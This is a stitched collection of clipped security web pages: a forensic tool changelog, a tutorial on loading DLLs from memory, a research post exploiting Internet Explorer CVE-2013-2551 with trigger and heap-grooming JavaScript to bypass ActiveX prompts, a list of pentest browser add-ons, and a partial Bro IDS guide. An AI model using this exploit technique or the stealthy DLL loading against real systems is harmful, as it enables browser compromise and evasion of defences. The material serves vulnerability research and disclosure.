<img src='img/main.png' width='30' height='30' />

###  Introducing Registry Explorer

6

#  Timeline Explorer 0.5.0.0 released

Some user requested changes in this version.  
  
Changelog:  
  
NEW: Add Tools | Go to line \# to quickly jump to a given line  
NEW: Can tag rows via clicking on Tag cell vs needing to use shortcut  
NEW: Added an incremental search box to top of main form. Use buttons to
navigate results \(CTRL-Left and CTRL-Right also navigate search results\)  
  
FIX: Remove tab for files TLE couldn't load  
  

###  Incremental search

Here we see the new incremental search box which allows you to find a string
and then navigate to each hit via the arrow keys in the search box or by using
CTRL-Left and CTRL-Right arrows to select the previous or next hit in the
list.  
  

<img src='img/10929_1.png' width='734' height='410' />

  
The currently selected hit is shown with a green background.  
  

####  Other changes

You can tag rows by clicking on the Tag box vs having to use a hot key.

  

The Go to line \# hotkey allows for jumping to a specific line number in the
file:

  

<img src='img/10899_2.png' width='734' height='412' />

  

and once you hit OK, you are magically transported to that row:

  

<img src='img/10923_3.png' width='734' height='130' />

  

  
Get the update here or Chocolatey.  

  

# Loading a DLL from memory » ~magog/public

**Created:**| _1/18/2011 9:55:21 AM_  
---|---  
**Updated:**| _1/18/2011 9:55:42 AM_  
**Author:**| __  
**Tags:**| _Exploit reversing Tutorials pe DLL_  
  

### Loading a DLL from memory

This tutorial describes a technique how a dynamic link library \(DLL\) can be
loaded from memory without storing it on the hard-disk first.

# Overview

The default windows API functions to load external libraries into a program
\(LoadLibrary, LoadLibraryEx\) only work with files on the filesystem. It’s
therefore impossible to load a DLL from memory. But sometimes, you need
exactly this functionality \(e.g. you don’t want to distribute a lot of files
or want to make disassembling harder\). Common workarounds for this problems
are to write the DLL into a temporary file first and import it from there.
When the program terminates, the temporary file gets deleted.

In this tutorial, I will describe first, how DLL files are structured and will
present some code that can be used to load a DLL completely from memory –
without storing on the disk first.

# Windows executables – the PE format

Most windows binaries that can contain executable code \(.exe, .dll, .sys\)
share a common file format that consists of the following parts:

DOS header  DOS stub  
---  
PE header  
Section header  
Section 1  
Section 2  
. . .  
Section n  
All structures given below can be found in the header file winnt.h.

## DOS header / stub

The DOS header is only used for backwards compatibility. It precedes the DOS
stub that normally just displays an error message about the program not being
able to be run from DOS mode.

Microsoft defines the DOS header as follows:

[code]

    typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
        WORD   e_magic;                     // Magic number
        WORD   e_cblp;                      // Bytes on last page of file
        WORD   e_cp;                        // Pages in file
        WORD   e_crlc;                      // Relocations
        WORD   e_cparhdr;                   // Size of header in paragraphs
        WORD   e_minalloc;                  // Minimum extra paragraphs needed
        WORD   e_maxalloc;                  // Maximum extra paragraphs needed
        WORD   e_ss;                        // Initial (relative) SS value
        WORD   e_sp;                        // Initial SP value
        WORD   e_csum;                      // Checksum
        WORD   e_ip;                        // Initial IP value
        WORD   e_cs;                        // Initial (relative) CS value
        WORD   e_lfarlc;                    // File address of relocation table
        WORD   e_ovno;                      // Overlay number
        WORD   e_res[4];                    // Reserved words
        WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
        WORD   e_oeminfo;                   // OEM information; e_oemid specific
        WORD   e_res2[10];                  // Reserved words
        LONG   e_lfanew;                    // File address of new exe header
      } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
    
[/code]

## PE header

The PE header contains informations about the different sections inside the
executable that are used to store code and data or to define imports from
other libraries or exports this libraries provides.

It’s defined as follows:

[code]

    typedef struct _IMAGE_NT_HEADERS {
        DWORD Signature;
        IMAGE_FILE_HEADER FileHeader;
        IMAGE_OPTIONAL_HEADER32 OptionalHeader;
    } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
    
[/code]

The FileHeader describes the  _physical_ format of the file, i.e. contents,
informations about symbols, etc:

[code]

    typedef struct _IMAGE_FILE_HEADER {
        WORD    Machine;
        WORD    NumberOfSections;
        DWORD   TimeDateStamp;
        DWORD   PointerToSymbolTable;
        DWORD   NumberOfSymbols;
        WORD    SizeOfOptionalHeader;
        WORD    Characteristics;
    } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
    
[/code]

The OptionalHeader contains informations about the  _logical_ format of the
library, including required OS version, memory requirements and entry points:

[code]

    typedef struct _IMAGE_OPTIONAL_HEADER {
        //
        // Standard fields.
        //
    
        WORD    Magic;
        BYTE    MajorLinkerVersion;
        BYTE    MinorLinkerVersion;
        DWORD   SizeOfCode;
        DWORD   SizeOfInitializedData;
        DWORD   SizeOfUninitializedData;
        DWORD   AddressOfEntryPoint;
        DWORD   BaseOfCode;
        DWORD   BaseOfData;
    
        //
        // NT additional fields.
        //
    
        DWORD   ImageBase;
        DWORD   SectionAlignment;
        DWORD   FileAlignment;
        WORD    MajorOperatingSystemVersion;
        WORD    MinorOperatingSystemVersion;
        WORD    MajorImageVersion;
        WORD    MinorImageVersion;
        WORD    MajorSubsystemVersion;
        WORD    MinorSubsystemVersion;
        DWORD   Win32VersionValue;
        DWORD   SizeOfImage;
        DWORD   SizeOfHeaders;
        DWORD   CheckSum;
        WORD    Subsystem;
        WORD    DllCharacteristics;
        DWORD   SizeOfStackReserve;
        DWORD   SizeOfStackCommit;
        DWORD   SizeOfHeapReserve;
        DWORD   SizeOfHeapCommit;
        DWORD   LoaderFlags;
        DWORD   NumberOfRvaAndSizes;
        IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
    } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
    
[/code]

The DataDirectory contains 16 \(IMAGE\_NUMBEROF\_DIRECTORY\_ENTRIES\) entries
defining the logical components of the library:

Index | Description  
---|---  
0 | Exported functions  
1 | Imported functions  
2 | Resources  
3 | Exception informations  
4 | Security informations  
5 | Base relocation table  
6 | Debug informations  
7 | Architecture specific data  
8 | Global pointer  
9 | Thread local storage  
10 | Load configuration  
11 | Bound imports  
12 | Import address table  
13 | Delay load imports  
14 | COM runtime descriptor  
For importing the DLL we only need the entries describing the imports and the
base relocation table. In order to provide access to the exported functions,
the exports entry is required.

## Section header

The section header is stored after the OptionalHeader structure in the PE
header. Microsoft provides the macro IMAGE\_FIRST\_SECTION to get the start
address based on the PE header.

Actually, the section header is a list of informations about each section in
the file:

[code]

    typedef struct _IMAGE_SECTION_HEADER {
        BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
        union {
                DWORD   PhysicalAddress;
                DWORD   VirtualSize;
        } Misc;
        DWORD   VirtualAddress;
        DWORD   SizeOfRawData;
        DWORD   PointerToRawData;
        DWORD   PointerToRelocations;
        DWORD   PointerToLinenumbers;
        WORD    NumberOfRelocations;
        WORD    NumberOfLinenumbers;
        DWORD   Characteristics;
    } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
    
[/code]

A section can contain code, data, relocation informations, resources, export
or import definitions, etc.

# Loading the library

To emulate the PE loader, we must first understand, which steps are neccessary
to load the file to memory and prepare the structures so they can be called
from other programs.

When issuing the API call LoadLibrary, Windows basically performs these tasks:

  1. Open the given file and check the DOS and PE headers.
  2. Try to allocate a memory block of PEHeader.OptionalHeader.SizeOfImage bytes at positionPEHeader.OptionalHeader.ImageBase.
  3. Parse section headers and copy sections to their addresses. The destination address for each section, relative to the base of the allocated memory block, is stored in the VirtualAddress attribute of the IMAGE\_SECTION\_HEADER structure.
  4. If the allocated memory block differs from ImageBase, various references in the code and/or data sections must be adjusted. This is called  _Base relocation_.
  5. The required imports for the library must be resolved by loading the corresponding libraries.
  6. The memory regions of the different sections must be protected depending on the section’s characteristics. Some sections are marked as  _discardable_ and therefore can be safely freed at this point. These sections normally contain temporary data that is only needed during the import, like the informations for the base relocation.
  7. Now the library is loaded completely. It must be notified about this by calling the entry point using the flag DLL\_PROCESS\_ATTACH.

In the following paragraphs, each step is described.

## Allocate memory

All memory required for the library must be reserved / allocated using
VirtualAlloc, as Windows provides functions to protect these memory blocks.
This is required to restrict access to the memory, like blocking write access
to the code or constant data.

The OptionalHeader structure defines the size of the required memory block for
the library. It must be reserved at the address specified by ImageBase if
possible:

[code]

    memory = VirtualAlloc((LPVOID)(PEHeader->OptionalHeader.ImageBase),
        PEHeader->OptionalHeader.SizeOfImage,
        MEM_RESERVE,
        PAGE_READWRITE);
    
[/code]

If the reserved memory differs from the address given in ImageBase, base
relocation as described below must be done.

## Copy sections

Once the memory has been reserved, the file contents can be copied to the
system. The section header must get evaluated in order to determine the
position in the file and the target area in memory.

Before copying the data, the memory block must get committed:

[code]

    dest = VirtualAlloc(baseAddress + section->VirtualAddress,
        section->SizeOfRawData,
        MEM_COMMIT,
        PAGE_READWRITE);
    
[/code]

Sections without data in the file \(like data sections for the used
variables\) have a SizeOfRawData of 0, so you can use the
SizeOfInitializedData or SizeOfUninitializedData of the OptionalHeader. Which
one must get choosen depending on the bit flags
IMAGE\_SCN\_CNT\_INITIALIZED\_DATA andIMAGE\_SCN\_CNT\_UNINITIALIZED\_DATA
that may be set in the section\`s characteristics.

## Base relocation

All memory addresses in the code / data sections of a library are stored
relative to the address defined byImageBase in the OptionalHeader. If the
library can’t be imported to this memory address, the references must get
adjusted =>  _relocated_. The file format helps for this by storing
informations about all these references in the base relocation table, which
can be found in the directory entry 5 of the DataDirectory in the
OptionalHeader.

This table consists of a series of this structure

[code]

    typedef struct _IMAGE_BASE_RELOCATION {
        DWORD   VirtualAddress;
        DWORD   SizeOfBlock;
    } IMAGE_BASE_RELOCATION;
    
[/code]

It contains \(SizeOfBlock – IMAGE\_SIZEOF\_BASE\_RELOCATION\) / 2 entries of
16 bits each. The upper 4 bits define the type of relocation, the lower 12
bits define the offset relative to the VirtualAddress.

The only types that seem to be used in DLLs are

IMAGE\_REL\_BASED\_ABSOLUTE

    No operation relocation. Used for padding.
IMAGE\_REL\_BASED\_HIGHLOW

    Add the delta between the ImageBase and the allocated memory block to the 32 bits found at the offset.
## Resolve imports

The directory entry 1 of the DataDirectory in the OptionalHeader specifies a
list of libraries to import symbols from. Each entry in this list is defined
as follows:

[code]

    typedef struct _IMAGE_IMPORT_DESCRIPTOR {
        union {
            DWORD   Characteristics;            // 0 for terminating null import descriptor
            DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
        };
        DWORD   TimeDateStamp;                  // 0 if not bound,
                                                // -1 if bound, and real date\time stamp
                                                //     in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                                // O.W. date/time stamp of DLL bound to (Old BIND)
    
        DWORD   ForwarderChain;                 // -1 if no forwarders
        DWORD   Name;
        DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
    } IMAGE_IMPORT_DESCRIPTOR;
    
[/code]

The Name entry describes the offset to the NULL-terminated string of the
library name \(e.g.KERNEL32.DLL\). The OriginalFirstThunk entry points to a
list of references to the function names to import from the external library.
FirstThunk points to a list of addresses that gets filled with pointers to the
imported symbols.

When we resolve the imports, we walk both lists in parallel, import the
function defined by the name in the first list and store the pointer to the
symbol in the second list:

[code]

    nameRef = (DWORD *)(baseAddress + importDesc->OriginalFirstThunk);
    symbolRef = (DWORD *)(baseAddress + importDesc->FirstThunk);
    for (; *nameRef; nameRef++, symbolRef++)
    {
        PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(codeBase + *nameRef);
        *symbolRef = (DWORD)GetProcAddress(handle, (LPCSTR)&thunkData->Name);
        if (*funcRef == 0)
        {
            handleImportError();
            return;
        }
    }
    
[/code]

## Protect memory

Every section specifies permission flags in it’s Characteristics entry. These
flags can be one or a combination of

IMAGE\_SCN\_MEM\_EXECUTE

    The section contains data that can be executed.
IMAGE\_SCN\_MEM\_READ

    The section contains data that is readable.
IMAGE\_SCN\_MEM\_WRITE

    The section contains data that is writeable.
These flags must get mapped to the protection flags

  * PAGE\_NOACCESS
  * PAGE\_WRITECOPY
  * PAGE\_READONLY
  * PAGE\_READWRITE
  * PAGE\_EXECUTE
  * PAGE\_EXECUTE\_WRITECOPY
  * PAGE\_EXECUTE\_READ
  * PAGE\_EXECUTE\_READWRITE

Now, the function VirtualProtect can be used to limit access to the memory. If
the program tries to access it in a unauthorized way, an exception gets raised
by Windows.

In addition the section flags above, the following can be added:

IMAGE\_SCN\_MEM\_DISCARDABLE

    The data in this section can be freed after the import. Usually this is specified for relocation data.
IMAGE\_SCN\_MEM\_NOT\_CACHED

    The data in this section must not get cached by Windows. Add the bit flag PAGE\_NOCACHE to the protection flags above.
## Notify library

The last thing to do is to call the DLL entry point \(defined by
AddressOfEntryPoint\) and so notifying the library about being attached to a
process.

The function at the entry point is defined as

[code]

    typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
    
[/code]

So the last code we need to execute is

[code]

    DllEntryProc entry = (DllEntryProc)(baseAddress + PEHeader->OptionalHeader.AddressOfEntryPoint);
    (*entry)((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, 0);
    
[/code]

Afterwards we can use the exported functions as with any normal library.

# Exported functions

If you want to access the functions that are exported by the library, you need
to find the entry point to a symbol, i.e. the name of the function to call.

The directory entry 0 of the DataDirectory in the OptionalHeader contains
informations about the exported functions. It’s defined as follows:

[code]

    typedef struct _IMAGE_EXPORT_DIRECTORY {
        DWORD   Characteristics;
        DWORD   TimeDateStamp;
        WORD    MajorVersion;
        WORD    MinorVersion;
        DWORD   Name;
        DWORD   Base;
        DWORD   NumberOfFunctions;
        DWORD   NumberOfNames;
        DWORD   AddressOfFunctions;     // RVA from base of image
        DWORD   AddressOfNames;         // RVA from base of image
        DWORD   AddressOfNameOrdinals;  // RVA from base of image
    } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
    
[/code]

First thing to do, is to map the name of the function to the ordinal number of
the exported symbol. Therefore, just walk the arrays defined by AddressOfNames
and AddressOfNameOrdinals parallel until you found the required name.

Now you can use the ordinal number to read the address by evaluating the n-th
element of theAddressOfFunctions array.

# Freeing the library

To free the custom loaded library, perform the steps

  * Call entry point to notify library about being detached: 
[code]    DllEntryProc entry = (DllEntryProc)(baseAddress +
PEHeader->OptionalHeader.AddressOfEntryPoint);

    (*entry)((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, 0);
    
[/code]

  * Free external libraries used to resolve imports.
  * Free allocated memory.

# MemoryModule

MemoryModule is a C-library that can be used to load a DLL from memory.

The interface is very similar to the standard methods for loading of
libraries:

[code]

    typedef void *HMEMORYMODULE;
    
    HMEMORYMODULE MemoryLoadLibrary(const void *);
    FARPROC MemoryGetProcAddress(HMEMORYMODULE, const char *);
    void MemoryFreeLibrary(HMEMORYMODULE);
    
[/code]

## Downloads

The latest development release can always be grabbed from Github
athttp://github.com/fancycode/MemoryModule

All tagged versions can be downloaded from GitHub.

## Known issues

  * All memory that is not protected by section flags is gets committed using PAGE\_READWRITE. I don’t know if this is correct.

## License

Since version 0.0.2, the MemoryModule library is released under the Mozilla
Public License \(MPL\). Version 0.0.1 has been released unter the Lesser
General Public License \(LGPL\).

It is provided as-is without ANY warranty. You may use it at your own risk.

## Ports

Thomas Heller added MemoryModule to py2exe to create single file executables
from Python scripts.

Martin Offenwanger did a port to Delphi which is available on this page.

# Copyright

The MemoryModule library and this tutorial are Copyright \(c\) 2004-2011 by
Joachim Bauch.

  

# Subverting without EIP « MALLOCAT

**Created:**| _5/8/2014 12:59:53 PM_  
---|---  
**Updated:**| _5/8/2014 12:59:53 PM_  
**Author:**| __  
**Tags:**| _Exploit programming rop_  
  

# Subverting without EIP — May 8, 2014

> Few months ago I did some research regarding the vulnerability in Internet
> explorer demonstrated by VUPEN team in 2013 Pwn2Own competition. I had
> always this view in my mind that it would be possible to exploit other
> primitives in browsers, so I came up with this research that discuss a new
> method of exploitation in internet explorer. As an example I exploited VUPEN
> vulnerability\(CVE-2013-2551 / MS13-037\) by this method. To assure it will
> not harm anyone the issue is reported to Microsoft and I postponed my
> disclosure until now.
**Abstract**

One of the hurdles of any exploit developer is to bypass memory protection
mechanisms. These protections are based on the simple idea to protect the
attacker against gaining control over EIP and/or executing binary shellcode.
The cat and mouse play between vendors implementing better protections and
hacker community bypassing them is a historical story so any exploit developer
try to gain control over EIP register bypassing some protections like Stack
cookie, Safe SEH, VTable guard to execute shellcode bypassing ASLR, DEP. But
in this research paper I am going to leave EIP alone and forget about running
shellcode to gain code execution. Instead we can exploit better primitives and
even gain code execution without EIP=0x41414141.

# Introduction

The idea of this research arose sometimes ago when I was talking to one of my
friends about the possibility of exploiting memory corruptions without ROP
method in browsers. I gave him the theory that it may be possible by patching
something valuable data in memory.

Every application has some features that are not enabled by default because of
security considerations or testing phase or may be there would be some
undocumented behavior in the software. Most of the time when some user \(_or
attacker_\) willing to use that feature a warning pops up indicating possible
harms or instability of the system or he/she may have

to enable that feature manually through some settings. Here are some examples
of such warnings in client side applications:

  * Java script Geolocation API: \(May be possible to disable this warning and steal geo position data?\!\)

  * Adobe Action script 3 Camera & Sound API: \(May be possible to disable this warning and record microphone and camera without any notification?\!\)

  * Microsoft Internet explorer ActiveX controls: \(May be possible to load harmful activex controls and execute code\)

And of course some developer features exists that does not warn but is not
accessible through default configuration. For example:

  * Firefox XPCOM interface \( accessible through chrome privileged mode \)
  * Google chrome Extension Javascript API

So the idea is generic and if we are able to patch such restrictions in memory
by the help of the vulnerability we can do harmful things or steal sensitive
information.

# ActiveX

Internet explorer doesn’t support default plugin interface implemented by
other browsers, and it is not possible to enumerate supported plugins by
javascript object _navigator.plugin:_

>> navigator.plugins.length  
---  
IE supports the old ActiveX COM interface to extend browser features. ActiveX
made many security issue in earlier days of this browser but nowadays it is
possible to just run some trusted ActiveX by javascript in IE. So the browser
warn the user every time the web page is trying to load untrusted ActiveX
controls. A list of trusted ActiveX controls that runs without permission can
be gained in Manage Add-ons window:

For better understating of the ActiveX architecture and security you can
review Black hat 2008 paper from __Alexander sotirov and Mark dowd__ talk.

# One-byte patch security bypass

What if we try load other ActiveX objects that is not existed in the list
through _ActiveX Object_ function?

_var x = new ActiveXObject\('Wscript.Shell'\);_  
---  
The function _ScriptSite::CreateActiveXObject_ in jscript9.dll is responsible
for handling this Javascript function and it calls
_ScriptSite::CreateObjectFromProgID_ to create the object from its ProgId:

.text:10131A32 mov byte ptr \[ebp-4\], 1 .text:10131A36 mov esi, \[ebp+8\]
.text:10131A39 push eax .text:10131A3A push dword ptr \[ebp+10h\]
.text:10131A3D mov edx, esi .text:10131A3F call
ScriptSite::CreateObjectFromProgID\(ushort const \*,ushort const \*,IUnknown
\* \*\) .text:10131A44 mov byte ptr \[ebp-4\], 0  
---  
If _ScriptSite::CreateObjectFromProgID_ succeed, we will get our delicious
ActiveX object and if the function does not succeed we will reach the
following code that in case of improper permission warn the user for harmful
activex control:

.text:1010B069 loc\_1010B069:  .text:1010B069 mov edi, ebx .text:1010B06B call
Js::JavascriptError::ThrowError\(Js::ScriptContext \*,long,ushort const \*\)
.text:1010B070 int 3 ; Trap to Debugger  
---  
_ScriptSite::CreateObjectFromProgID_ function call _CoGetClassObject_ to
communicate with COM interface of the requested object in the following code:

.text:10131BB5 push eax ; dwClsContext .text:10131BB6 lea eax, \[ebp+clsid\]
.text:10131BB9 push eax ; rclsid .text:10131BBA call
CoGetClassObject\(x,x,x,x,x\) .text:10131BC0 test eax, eax  
---  
But before reaching this code a call to _ScriptEngine::CanCreateObject_ is
performed:

.text:10131B8A lea eax, \[ebp+clsid\] .text:10131B8D push eax .text:10131B8E
mov eax, \[esi+4\] .text:10131B91 call ScriptEngine::CanCreateObject\(\_GUID
const &\) .text:10131B96 test eax, eax .text:10131B98 jz loc\_1010AFC7  
---  
_ScriptEngine::CanCreateObject_ check some configuration and security and it
returns true or false weather possible to create that object. If we could
force this function to always return true \(Good trick to backdoor internet
explorer via jscript9.dll\), it is possible to load any ActiveX object in the
browser without the need of permission by the user.

In the first lines of this function, some field at offset +1E4h of
ScriptEngine class is checked:

.text:10131F75 public: int \_\_thiscall ScriptEngine::CanCreateObject\(struct
\_GUID const &\) proc near .text:10131F75 var\_8 = byte ptr -8 .text:10131F75
var\_4 = dword ptr -4 .text:10131F75 arg\_0 = dword ptr 8 .text:10131F75
.text:10131F75 mov edi, edi .text:10131F77 push ebp .text:10131F78 mov ebp,
esp .text:10131F7A push ecx .text:10131F7B push ecx .text:10131F7C push edi
.text:10131F7D mov edi, eax .text:10131F7F test byte ptr \[edi+1E4h\], 8
.text:10131F86 jz short loc\_10131FC5  
---  
And if we could have control on this value it would be possible to force the
function to return true without any further security check:

.text:10131FC5 xor eax, eax .text:10131FC7 inc eax .text:10131FC8 jmp short
loc\_10131FC0  
---  
Summarize it till here if we are able to null the one-byte value at offset
+1E4 of _ScriptEngine object_ before reaching this code by a write1 primitive
gained from some vulnerability, we can load untrusted ActiveX Controls without
restrictions and it is powerful enough to execute malicious code without
challenging memory protections.

# Attack Demonstration: CVE-2013-2551

CVE-2013-2551 is and integer overflow vulnerability in VML rendering engine
demonstrated by Nicolas July of VUPEN at Pwn2Own 2013 hacking contest. The
vulnerability can be triggered by the following code:

<v:oval><v:stroke id=x1 dashstyle="0 1"/></v:oval> <script> x1 =
document.getElementById\("x1"\); x1.dashstyle.array.length = -1; </script>  
---  
This doesn’t crash the browser but the negative value will be downsized to
0xffff and would be set as length of some array structure. So after that it is
possible to write past the array buffer by the help of item property of array:

x1.dashstyle.array.item\(0xffff\) = 0x41414141;  
---  
And this write4 condition is enough to exploit ScriptEngine object. For this
purpose we should manage this Array object and ScriptEngine object in memory.
The ScriptEngine object constructor can be reached at
_CJScript9ClassFactory::AllocateEngine_ :

.text:10086417 push eax .text:10086418 mov eax, \[ebp+arg\_0\] .text:1008641B
push esi .text:1008641C call ScriptEngine::ScriptEngine\(\_GUID const &,ushort
const \*\)  
---  
And before calling the constructor there is the allocation of size = 0x210 for
this object:

.text:100863FB push 210h ; Size .text:10086400 mov ecx, offset HeapAllocator
HeapAllocator::Instance .text:10086405 call
HeapAllocator::NoThrowAlloc\(uint\) .text:1008640A mov esi, eax  
---  
The function _HeapAllocator::NoThrowAlloc_ uses malloc function:

.text:10001350 ; int \_\_stdcall HeapAllocator\_\_NoThrowAlloc\(size\_t Size\)
.text:10001350 Size = dword ptr 8 .text:10001350 .text:10001350 mov edi, edi
.text:10001352 push ebp .text:10001353 mov ebp, esp .text:10001355 push
\[ebp+Size\] ; Size .text:10001358 call ds:\_\_imp\_\_malloc  
---  
So this object would be allocated by CRT\_HEAP. By loading a new page a new
script context can be created so new ScriptEngine instance. But we cannot find
address of current page ScriptEngine object without any memory leakage.
Although the mentioned vulnerability allow memory leakage as demonstrated by
Vupen but it is possible to exploit this vulnerability in a better way.

When resetting size of DashStyle array length the
_vgx\!COALineDashStyleArray::put\_length_ function call _MsoIAppendPx_ and
this function calculate and allocate the new memory for the array in this way:

.text:10075F0F shr ecx, 10h .text:10075F12 and ecx, 7FFFh .text:10075F18 add
ecx, esi .text:10075F1A mov esi, ecx .text:10075F1C imul esi, edx
.text:10075F1F xor edx, edx .text:10075F21 mov eax, esi .text:10075F23 div
\[ebp+arg\_0\] .text:10075F26 cmp eax, ecx .text:10075F28 jnz short
loc\_10075F37 .text:10075F2A push esi ; Size .text:10075F2B lea esi,
\[edi+0Ch\] .text:10075F2E call MsoFAllocMemCore\(x,x,x\)  
---  
Vgx\!MsoFAllocMemCore uses the same malloc so CRT\_HEAP for this allocation:

.text:10039ADA mov ebp, esp .text:10039ADC push \[ebp+Size\] ; Size
.text:10039ADF call ds:\_\_imp\_\_malloc .text:10039AE5 pop ecx  
---  
It is possible to allocate some same size 0x210 DashStyle array object by just
setting its length value to proper value:

var strokes = \[\] for\(var i = 0; i < 200; i++\)
strokes.push\(document.getElementById\("x"+i.toString\(\)\)\); for\(var i = 0;
i < 200; i++\) strokes\[i\].dashstyle.array.length = 0x80;  
---  
Then it's time to allocate a ScriptEngine Object:

document.getElementById\("f1"\).src = "js.htm";  
---  
loading a new page containing javascript in an iframe force the browser to
instantiate a new ScriptEngine Object and we get the following heap layout:

By getting this layout it is possible to patch the magic field and load
arbitrary ActiveX Control.

check the video and source code for proof of concept eploit here\!

# Pros & Cons

  1. So Reliable

Because we don’t need any dependency base on Operating system version and
protections by just patching proper value in memory we get a reliable code
execution that is not based on shellcode and binary things

  1. Less suspicious

Intrusion prevention systems are based on detecting shellcode and ROP methods.
So by gaining code execution without such things we are less susceptible.

  1. Faster implementation

If we know what to do we can write exploits faster without the taking time on
leaking memory or finding ROP and such things.

  1. Need a good bug

We need proper bug to give us or we should leak the memory to find our
favorite script object to patch.

  1. It may be possible to implement it in other Products and environments.
  2. I am not sure if such methods that is based on the condition of the vulnerability is categorized as exploitation method or not, Either way Microsoft engineers told me it can not be accepted for Blue hat prize.

* * *
Tagged with: activex | browser | bypass | exploitation | heap | IE | IE 10 | Internet explorer | protection
Categorised as: Security

Comments are disabled on this post

* * *

# Hacking with your Browser « Security Aegis

**Created:**| _3/30/2011 5:56:44 AM_  
---|---  
**Updated:**| _3/30/2011 5:56:52 AM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools pentest_  
  

## Hacking with your Browser

  

Today I rebuilt my Windows 7 partition. Amidst flurry of backing up I forgot
to save my Firefox profiles. I figured this was a good time to review what I
use addons-wise for all my day to day hacking needs.

First things first, most of these addons will have compatibility issues. To
update a Firefox addon:

  * download xpi \(right click "save target as" from the download button on addons.mozilla.com\) 
  * Open with with winrar
  * Open install.rdf with a text editor
  * Change the <em:maxVersion>3.xxx.xxx</em:maxVersion> line to your current Firefox build
  * save
  * open the xpi file with Firefox

Now, here is what I use regularly:

MultiProxySwitch or FoxyProxy \- for fast switching to Burp or Tor

PassiveRecon \- for OSINT style gathering

ShowIP – show server IP and additional possible IPs if load balanced, also can
right click to get netcraft info

Live HTTP Headers – for checking for load balancing et al

Wappalyzer and Backend Software Information – To identify platforms,
frameworks, and common apps

Hackbar – for fast submission of post requests without firing up Burp, also
has great encoding support. I love Hackbar.

Add n Edit Cookies – invaluable for cookie inspection and testing

Firebug or WiderBug \(thanks Andre\!\) – because its awesome

Lazarus – So i never accidentally forget an injection string i already tried

FxIF \- Usually used for metadata analysis in CTF's

Fireforce \- I usually use Burp Intruder to bruteforce forms based auth, but
fireforce is still neat

Although i don't really use them much greasemonkey with Whiteacid's XSS
assistant \(careful with this one\), XSSme, SQLinjectME, and SQL Injection\!
are all good addons for testing injection. They also have good injection
regex's to steal for use in other tools.

For general browsery I use Readitlater and xmarks to keep up a good reading
list across all my boxes

For Browser Scripting I use iMacros for Firefox

Caveats:

There was a presentation by Michael Schearer "theprez98" called "Pen Testing
the Web with Firefox" , check that out. Also there is a huge mozilla
collection called FireCAT by Securitydatabase.com. I like some of the tools
but i feel installing the whole collection bloats my browser too much.

Anyways, that's all for now. Happy hacking\!

# Demos - JavaScript InfoVis Toolkit

**Created:**| _5/2/2013 9:21:31 AM_  
---|---  
**Updated:**| _5/2/2013 9:21:31 AM_  
**Author:**| __  
**Tags:**| _visualization JavaScript_  
  

# JavaScript InfoVis Toolkit

#### Create Interactive Data Visualizations for the Web

Home ● Download ● Builder ● Donate

  * Demos Explore the Visualizations
  * Learn Browse the Doc
  * Discuss Join the Google Group
  * Contribute Get Involved
  * Blog News and Stuff
  * About Bio and Contact

Area, Bar and Pie Charts

<img src='img/Temp2_2097.png' alt='image' />

  * Stacked AreaChart
  * Vertical Stacked BarChart
  * Horizontal Stacked BarChart
  * Stacked PieChart

Sunburst

<img src='img/Temp2_2104.png' alt='image' />

  * File System Visualization
  * Custom Nodes and Edges

Icicle

<img src='img/Temp2_2101.png' alt='image' />

  * Static Icicle Animation
  * File System Visualization

ForceDirected

<img src='img/Temp2_2100.png' alt='image' />

  * Graph Manipulation
  * Graph Manipulation and Editing

TreeMap

<img src='img/Temp2_2105.png' alt='image' />

  * Squarified Animated Treemap
  * On-Demand Nodes
  * Cushion Treemap

SpaceTree

<img src='img/Temp2_2102.png' alt='image' />

  * Tree Animation
  * On-Demand Nodes
  * Add/Remove Subtrees
  * Custom Style Animations

RGraph

<img src='img/Temp2_2103.png' alt='image' />

  * Tree Animation
  * Weighted Graph Animation
  * Graph Operations
  * Drag and Drop Nodes

HyperTree

<img src='img/Temp2_2099.png' alt='image' />

  * Tree Animation
  * Weighted Graph Animation
  * Graph Operations

Advanced/Other

<img src='img/Temp2_2098.png' alt='image' />

  * Implementing NodeTypes
  * Composing RGraphs
  * Combinig SpaceTrees and RGraphs

copyright © 2013 SenchaLabs \- Author: Nicolas Garcia Belmonte

# agustingianni/PeLib - GitHub

**Created:**| _6/8/2011 1:45:08 PM_  
---|---  
**Updated:**| _6/8/2011 1:45:08 PM_  
**Author:**| __  
**Tags:**| _python pe_  
  

PE file manipulation library — Read more

Cancel

http://www.pelib.com

# Open-Source Security Tools: Bro Quickstart: Cluster Edition

**Created:**| _4/3/2014 1:44:48 PM_  
---|---  
**Updated:**| _4/3/2014 1:44:48 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS network-security_  
  

# Bro Quickstart: Cluster Edition

In my last post, I described the very basic commands you need to get a very
minimal Bro IDS instance up and running for proof-of-concept purposes. In this
post, I'll show you how to take Bro a step further with Bro cluster.  
  
Bro Cluster  
There are several reasons for running Bro in a cluster. A single Bro instance
will be overwhelmed when it encounters more than about 80 Mb/sec of traffic.
You can run multiple Bro instances on the same machine \(to take advantage of
multiple cores\) or multiple instances spread across distributed machines to
cut the load each instance sees down to the 80 Mb/sec mark.  
  
Another reason for using Bro cluster is the ease of managing Bro processes and
logging. There is a comprehensive log rotation framework integrated into Bro
cluster, as well as seamless configuration changes on-the-fly.  
  
Installation  
This install quickstart will be written for Ubuntu Server 10.04 LTS, but aside
